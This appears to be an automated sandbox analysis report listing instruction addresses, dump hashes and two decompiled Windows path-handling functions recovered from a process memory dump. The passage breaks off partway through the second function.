0x1e465c2a
0x1e465c2c
0x1e465c32
0x1e465c3a
0x1e465c3f
0x1e465c42
0x1e465c48
0x1e465c5b
0x1e465c5b
0x1e465c2c
0x1e465cb7
0x1e465cb9
0x1e465cbf
0x1e465cc2
0x1e465cca
0x1e465ccb
0x1e465ccb
0x1e465cd1
0x1e465cd7
0x1e465cda
0x1e465ce1
0x1e465ce4
0x1e465ce7
0x1e465ced
0x1e465cf3
0x1e465cf9
0x1e465cff
0x1e465d08
0x1e465d0a
0x1e465d0e
0x1e465d10
0x00000000
0x00000000
0x1e465d16
0x1e465d1a
0x00000000
0x00000000
0x1e465d20
0x1e465d22
0x1e465d25
0x1e465d2f
0x1e465d2f
0x1e465d33
0x1e465d3d
0x1e465d49
0x1e465d4b
0x00000000
0x00000000
0x1e465d5a
0x1e465d5d
0x1e465d60
0x00000000
0x00000000
0x1e465d66
0x1e465d69
0x00000000
0x00000000
0x1e465d6f
0x1e465d6f
0x1e465d73
0x1e465d79
0x1e465d7f
0x1e465d86
0x1e465d95
0x1e465d98
0x1e465dba
0x1e465dcb
0x1e465dce
0x1e465dd3
0x1e465dd6
0x1e465dd8
0x1e465de6
0x1e465dec
0x1e465dee
0x1e465df1
0x1e465df3
0x1e46635a
0x1e46635a
0x00000000
0x1e46635a
0x1e465dfe
0x1e465e02
0x1e465e05
0x1e465e07
0x1e465e10
0x1e465e13
0x1e465e1b
0x1e465e1c
0x1e465e21
0x1e465e22
0x1e465e23
0x1e465e25
0x1e465e2a
0x1e465e2c
0x1e465e2e
0x1e465e36
0x1e465e39
0x1e465e42
0x1e465e47
0x1e465e4d
0x1e465e54
0x1e465e54
0x1e465e54
0x1e465e2e
0x1e465e5c
0x1e465e5f
0x1e465e62
0x1e465e64
0x1e465e6b
0x1e465e70
0x1e465e7a
0x1e465e7a
0x1e465e7a
0x1e465e6b
0x1e465e7e
0x1e465e7f
0x1e465e7f
0x1e465e81
0x1e465e87
0x1e465e8b
0x1e465e8c
0x1e465e8c
0x1e465e8c
0x1e465e9a
0x1e465e9c
0x1e465ea2
0x1e465ea6
0x1e465f50
0x1e465f50
0x1e465f57
0x1e465f66
0x1e465f66
0x1e465f66
0x1e465f68
0x1e465f6a
0x1e4663d0
0x00000000
0x1e465f70
0x1e465f70
0x1e465f91
0x1e465f9c
0x1e465f9e
0x1e465fa4
0x1e465fa6
0x1e46638c
0x1e466392
0x1e4663a1
0x1e4663a7
0x1e4663af
0x1e4663af
0x1e4663bd
0x1e4663d8
0x00000000
0x1e4663d8
0x1e465fac
0x1e465fb2
0x1e465fb4
0x1e465fbd
0x1e465fc6
0x1e465fce
0x1e465fd4
0x1e465fdc
0x1e465fec
0x1e465fed
0x1e465fee
0x1e465fef
0x1e465ff9
0x1e465ffa
0x1e465ffb
0x1e465ffc
0x1e466000
0x1e466004
0x1e466012
0x1e466012
0x1e466018
0x1e466019
0x1e46601a
0x1e46601b
0x1e46601c
0x1e466020
0x1e466059
0x1e46605c
0x1e466061
0x1e466061
0x1e466022
0x1e466022
0x1e466022
0x1e466025
0x1e46602a
0x1e46602b
0x1e466031
0x1e466037
0x1e466038
0x1e46603e
0x1e466048
0x1e466049
0x1e46604a
0x1e46604b
0x1e46604c
0x1e46604d
0x1e466053
0x1e466054
0x1e466054
0x1e466062
0x1e466065
0x1e466067
0x1e46606a
0x1e466070
0x1e466075
0x1e466076
0x1e466081
0x1e466087
0x1e466095
0x1e466099
0x1e46609e
0x1e4660a4
0x1e4660ae
0x1e4660b0
0x1e4660b3
0x1e4660b6
0x1e4660b8
0x1e4660ba
0x1e4660ba
0x1e4660ba
0x1e4660ba
0x1e4660be
0x1e4660c0
0x1e4660c5
0x1e4660c5
0x1e4660c5
0x1e4660c6
0x1e4660cd
0x1e466114
0x1e4660cf
0x1e4660cf
0x1e4660d4
0x1e4660d5
0x1e4660da
0x1e4660db
0x1e4660e1
0x1e4660e2
0x1e4660e8
0x1e4660f8
0x1e4660fd
0x1e4660fe
0x1e466102
0x1e466104
0x1e466107
0x1e466109
0x1e46610b
0x1e46610b
0x1e46610b
0x1e46610b
0x1e46610f
0x1e46610f
0x1e466117
0x1e46611a
0x1e46611f
0x1e466125
0x1e466134
0x1e466139
0x1e46613f
0x1e466146
0x1e466148
0x1e46614b
0x1e46614d
0x1e46614f
0x1e46614f
0x1e46614f
0x1e46614f
0x1e466153
0x1e466159
0x1e466159
0x1e46615c
0x1e466163
0x1e466169
0x1e46616c
0x1e466172
0x1e466181
0x1e466186
0x1e466187
0x1e46618b
0x1e466191
0x1e466195
0x1e4661a3
0x1e4661bb
0x1e4661c0
0x1e4661c3
0x1e4661cc
0x1e4661d0
0x1e4661dc
0x1e4661de
0x1e4661e1
0x1e4661e4
0x1e4661e6
0x1e4661e8
0x1e4661e8
0x1e4661e8
0x1e4661e8
0x1e4661e6
0x1e4661ec
0x1e4661f3
0x1e466203
0x1e466209
0x1e46620a
0x1e466216
0x1e46621d
0x1e466227
0x1e466241
0x1e466246
0x1e46624c
0x1e466257
0x1e466259
0x1e46625c
0x1e46625e
0x1e466260
0x1e466260
0x1e466260
0x1e466260
0x1e46625e
0x1e466264
0x1e466267
0x1e466269
0x1e466315
0x1e466315
0x1e46631b
0x1e46631e
0x1e466324
0x1e466327
0x1e46632f
0x1e466330
0x1e466333
0x1e46633a
0x1e46633c
0x1e466335
0x1e466335
0x1e466335
0x1e46633f
0x1e466342
0x1e46634c
0x1e466352
0x1e466355
0x1e466355
0x1e466359
0x00000000
0x1e46626f
0x1e466275
0x1e466275
0x1e466278
0x1e46627e
0x1e46627e
0x1e466281
0x1e466287
0x1e46628d
0x1e466298
0x1e46629c
0x1e4662a2
0x1e46629e
0x1e46629e
0x1e46629e
0x1e4662a7
0x1e4662a7
0x1e4662aa
0x1e4662b0
0x1e4662f0
0x1e4662f0
0x1e4662f2
0x1e4662f8
0x1e4662fd
0x1e4662b2
0x1e4662b2
0x1e4662b2
0x1e4662b5
0x1e4662dd
0x1e4662e2
0x1e4662e5
0x1e4662b7
0x1e4662b8
0x1e4662bb
0x1e4662bd
0x1e4662c0
0x1e4662c4
0x1e4662cd
0x1e4662cd
0x1e4662c0
0x1e4662bb
0x1e4662b5
0x1e466302
0x1e466303
0x1e466305
0x1e466305
0x1e466305
0x1e46630c
0x1e46630c
0x00000000
0x1e46627e
0x1e466269
0x1e465eac
0x1e465ebb
0x1e465ebe
0x1e465ecb
0x1e465ecb
0x1e465ece
0x1e465ece
0x1e465ed4
0x1e465ed7
0x1e465ed9
0x1e465edb
0x1e465edb
0x1e465ee1
0x1e465ee1
0x1e465ee3
0x1e465f20
0x1e465f20
0x1e465ee5
0x1e465ee5
0x1e465ee5
0x1e465ee8
0x1e465f11
0x1e465f18
0x1e465eea
0x1e465eea
0x1e465eed
0x1e465ef2
0x1e465ef8
0x1e465efb
0x1e465f0a
0x1e465f0a
0x1e465eed
0x1e465ee8
0x1e465f22
0x1e465f28
0x00000000
0x00000000
0x1e465f30
0x1e465f31
0x1e465f37
0x1e465f3a
0x1e465f3d
0x1e465f44
0x00000000
0x00000000
0x00000000
0x1e465f46
0x1e465f48
0x1e465f4d
0x00000000
0x1e465f4d
0x1e465dda
0x1e465ddf
0x00000000
0x1e465ddf
0x1e465dd8
0x1e465da7
0x1e465da9
0x1e465dac
0x1e465dae
0x00000000
0x1e465db4
0x1e465db4
0x00000000
0x1e465db4
0x1e465dae
0x1e465d88
0x1e465d8d
0x1e466363
0x1e466369
0x1e46636a
0x1e466370
0x1e466372
0x1e46637a
0x1e46637b
0x1e46637d
0x00000000
0x00000000
0x1e46637f
0x1e466385
0x00000000
0x1e466385
0x1e465d38
0x1e465d3b
0x00000000
0x00000000
0x00000000
0x1e465d3b
0x1e465d27
0x1e465d29
0x00000000
0x00000000
0x00000000
0x1e466360
0x00000000
0x1e466360
0x1e465c10
0x1e465c10
0x1e4663da
0x1e4663e5
0x1e4663e5

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b62ebf11c7e346265c8d1e602f4c99be9762ca23dc1bd78e5b1c57936f971cd7
Instruction ID: 8affc9e3a6d2ed953df4ebfef4159464ce0bd62d18087fc7f7614b031ba96af9
Opcode Fuzzy Hash: b62ebf11c7e346265c8d1e602f4c99be9762ca23dc1bd78e5b1c57936f971cd7
Instruction Fuzzy Hash: 1E424A75910269CFDB20CF68C880BA9B7B2FF49304F1586EAD94DAB341D774A985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E3B4120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E1E3B4120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x1e48d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E1E3CF232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E1E3B6E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L1E3B4620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E1E3B6E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M1E3B45F8))) {
												case 0:
													_v568 = 0x1e371078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x1e3711c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L1E3B4620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E1E3DF720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E1E3DF720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E1E3952A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E1E3AEB70(1, 0x1e4879a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E1E3AAA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E1E3D95D0();
																			L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E1E3DB640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E1E3D3D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E1E3DB640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x1e3b4128
0x1e3b4135
0x1e3b413c
0x1e3b4141
0x1e3b4145
0x1e3b4147
0x1e3b414e
0x1e3b4151
0x1e3b4159
0x1e3b415c
0x1e3b4160
0x1e3b4164
0x1e3b4168
0x1e3b416c
0x1e3b417f
0x1e3b4181
0x1e3b446a
0x1e3b446a
0x1e3b418c
0x1e3b4195
0x1e3b4199
0x1e3b4432
0x1e3b4439
0x1e3b443d
0x1e3b4442
0x1e3b4447
0x00000000
0x1e3b419f
0x1e3b41a3
0x1e3b41b1
0x1e3b41b9
0x1e3b41bd
0x1e3b45db
0x1e3b45db
0x00000000
0x1e3b41c3
0x1e3b41c3
0x1e3b41ce
0x1e3b41d4
0x1e3fe138
0x1e3fe13e
0x1e3fe169
0x1e3fe16d
0x1e3fe19e
0x1e3fe16f
0x1e3fe16f
0x1e3fe175
0x1e3fe179
0x1e3fe18f
0x1e3fe193
0x00000000
0x1e3fe199
0x00000000
0x1e3fe199
0x1e3fe193
0x00000000
0x00000000
0x00000000
0x1e3b41da
0x1e3b41da
0x1e3b41df
0x1e3b41e4
0x1e3b41ec
0x1e3b4203
0x1e3b4207
0x1e3fe1fd
0x1e3b4222
0x1e3b4226
0x1e3fe1f3
0x1e3fe1f3
0x1e3b422c
0x1e3b422c
0x1e3b4233
0x1e3fe1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3b4239
0x1e3b4239
0x1e3b4239
0x1e3b4239
0x1e3b4233
0x1e3b4226
0x1e3b41ee
0x1e3b41ee
0x1e3b41f4
0x1e3b4575
0x1e3fe1b1
0x1e3fe1b1
0x00000000
0x1e3b457b
0x1e3b457b
0x1e3b4582
0x1e3fe1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3b4588
0x1e3b4588
0x1e3b458c
0x1e3fe1c4
0x1e3fe1c4
0x00000000
0x1e3b4592
0x1e3b4592
0x1e3b4599
0x1e3fe1be
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3b459f
0x1e3b459f
0x1e3b45a3
0x1e3fe1d7
0x1e3fe1e4
0x00000000
0x1e3b45a9
0x1e3b45a9
0x1e3b45b0
0x1e3fe1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3b45b6
0x1e3b45b6
0x1e3b45b6
0x00000000
0x1e3b45b6
0x1e3b45b0
0x1e3b45a3
0x1e3b4599
0x1e3b458c
0x1e3b4582
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3b41f4
0x1e3b423e
0x1e3b4241
0x1e3b45c0
0x1e3b45c4
0x00000000
0x1e3b45ca
0x1e3b45ca
0x00000000
0x1e3fe207
0x1e3fe20f
0x00000000
0x00000000
0x00000000
0x00000000
0x1e3b45d1
0x00000000
0x00000000
0x1e3b45ca
0x00000000
0x1e3b4247
0x1e3b4247
0x1e3b4247
0x1e3b4249
0x1e3b4249
0x1e3b4249
0x1e3b4251
0x1e3b4251
0x1e3b4257
0x1e3b425f
0x1e3b426e
0x1e3b4270
0x1e3b427a
0x1e3fe219
0x1e3fe219
0x1e3b4280
0x1e3b4282
0x1e3b4456
0x1e3b45ea
0x00000000
0x1e3b45f0
0x1e3fe223
0x00000000
0x1e3fe223
0x1e3b445c
0x1e3b445c
0x00000000
0x1e3b445c
0x00000000
0x1e3b4288
0x1e3b428c
0x1e3fe298
0x1e3b4292
0x1e3b4292
0x1e3b429e
0x1e3b42a3
0x1e3b42a7
0x1e3b42ac
0x1e3fe22d
0x1e3b42b2
0x1e3b42b2
0x1e3b42b9
0x1e3b42bc
0x1e3b42c2
0x1e3b42ca
0x1e3b42cd
0x1e3b42cd
0x1e3b42d4
0x1e3b433f
0x1e3b433f
0x1e3b42d6
0x1e3b42d6
0x1e3b42d9
0x1e3b42dd
0x1e3b42eb
0x1e3fe23a
0x1e3b42f1
0x1e3b4305
0x1e3b430d
0x1e3b4315
0x1e3b4318
0x1e3b431f
0x1e3b4322
0x1e3b432e
0x1e3b433b
0x1e3b433b
0x00000000
0x1e3b432e
0x1e3b42eb
0x1e3b434c
0x1e3b434e
0x1e3b4352
0x1e3b4359
0x1e3b435e
0x1e3b4361
0x1e3b436e
0x1e3b438a
0x1e3b438e
0x1e3b4396
0x1e3b439e
0x1e3b43a1
0x1e3b43ad
0x1e3b43bb
0x1e3b43bb
0x1e3b43ad
0x1e3b436e
0x1e3b43bf
0x1e3b43c5
0x1e3b4463
0x1e3b4463
0x1e3b43ce
0x1e3b43d5
0x1e3b43d9
0x1e3b43df
0x1e3b4475
0x1e3b4479
0x1e3b4491
0x1e3b4491
0x1e3b4479
0x1e3b43e5
0x1e3b43eb
0x1e3b43f4
0x1e3b43f6
0x1e3b43f9
0x1e3b43fc
0x1e3b43ff
0x1e3b44e8
0x1e3b44ed
0x1e3b44f3
0x1e3fe247
0x00000000
0x1e3b44f9
0x1e3b4504
0x1e3b4508
0x1e3b450f
0x1e3fe269
0x00000000
0x1e3b4515
0x1e3b4519
0x1e3b4531
0x1e3b4534
0x1e3b4537
0x1e3b453e
0x1e3b4541
0x1e3b454a
0x1e3fe255
0x1e3fe255
0x1e3fe25b
0x1e3fe25e
0x1e3fe261
0x1e3fe261
0x1e3b4555
0x1e3b4559
0x1e3b455d
0x1e3fe26d
0x1e3fe270
0x1e3fe274
0x1e3fe27a
0x1e3fe27d
0x1e3fe28e
0x1e3fe28e
0x1e3b4563
0x1e3b4563
0x1e3b4569
0x1e3b4569
0x00000000
0x1e3b455d
0x1e3b450f
0x00000000
0x1e3b44f3
0x1e3b43ff
0x1e3b4405
0x1e3b4405
0x1e3b4405
0x1e3b42ac
0x1e3b428c
0x1e3b4282
0x1e3b4407
0x1e3b440d
0x1e3fe2af
0x1e3fe2af
0x1e3b4413
0x1e3b4413
0x00000000
0x1e3b41d4
0x00000000
0x1e3b41c3
0x1e3b41bd
0x1e3b4415
0x1e3b4415
0x1e3b4416
0x1e3b4417
0x1e3b4429
0x1e3b416e
0x1e3b416e
0x1e3b4175
0x1e3b4498
0x1e3b449f
0x1e3fe12d
0x00000000
0x1e3fe133
0x00000000
0x1e3fe133
0x1e3b44a5
0x1e3b44a5
0x1e3b44aa
0x00000000
0x1e3b44bb
0x1e3b44ca
0x1e3b44d6
0x1e3b44d7
0x1e3b44d8
0x1e3b44e3
0x1e3b44e3
0x1e3b44aa
0x1e3b417b
0x1e3b417b
0x1e3b417b
0x00000000
0x1e3b417b
0x1e3b4175
0x00000000

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e469aa921d88ecdd55b94920a9d420ad8eabf85c1fb811489dd731fc5163169
Instruction ID: 31f6781c200b12ab2780027d8f86e57a008e830fcc24c6a3f5dda348954480c2
Opcode Fuzzy Hash: 5e469aa921d88ecdd55b94920a9d420ad8eabf85c1fb811489dd731fc5163169
Instruction Fuzzy Hash: 41F17B74A183518BC714CF1AC490A2AB7E6FF88714F054B2EF48ACB650F734D995CB66

Uniqueness

Uniqueness Score: -1.00%

Function 1E3C20A0, Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E1E3C20A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0x1e488714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E1E3C2EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
